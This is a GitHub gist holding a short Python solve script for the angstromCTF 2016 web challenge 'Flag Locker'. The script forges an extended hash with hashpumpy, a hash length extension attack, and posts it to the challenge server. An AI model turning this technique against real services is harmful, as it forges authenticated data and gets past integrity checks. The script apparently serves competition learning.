Skip to content

Instantly share code, notes, and snippets.

@st98

st98/solve.py

Last active April 18, 2016 15:36
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save st98/862cb7cde8c6240ddd56e2719b2ec1c6 to your computer and use it in GitHub Desktop.
Save st98/862cb7cde8c6240ddd56e2719b2ec1c6 to your computer and use it in GitHub Desktop.
Download ZIP
angstromCTF 2016 - [web 140] Flag Locker
Raw
solve.py
import time
import hashpumpy # https://github.com/bwall/HashPump
import requests
from urllib.parse import quote
url = 'http://web.angstromctf.com:1340/'
t = hex(int(time.time()))[2:]
hash, data = hashpumpy.hashpump('3eb9feb38c75cae1d4526ba7f7b91393b190ef48d5bd3502711a1fc23cba2ff3', '5709b5ed', t, 64)
print(requests.post(url, data={
'data': quote(hash.encode() + data).replace('%80', '%C2%80')
}).content.decode('ascii'))
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment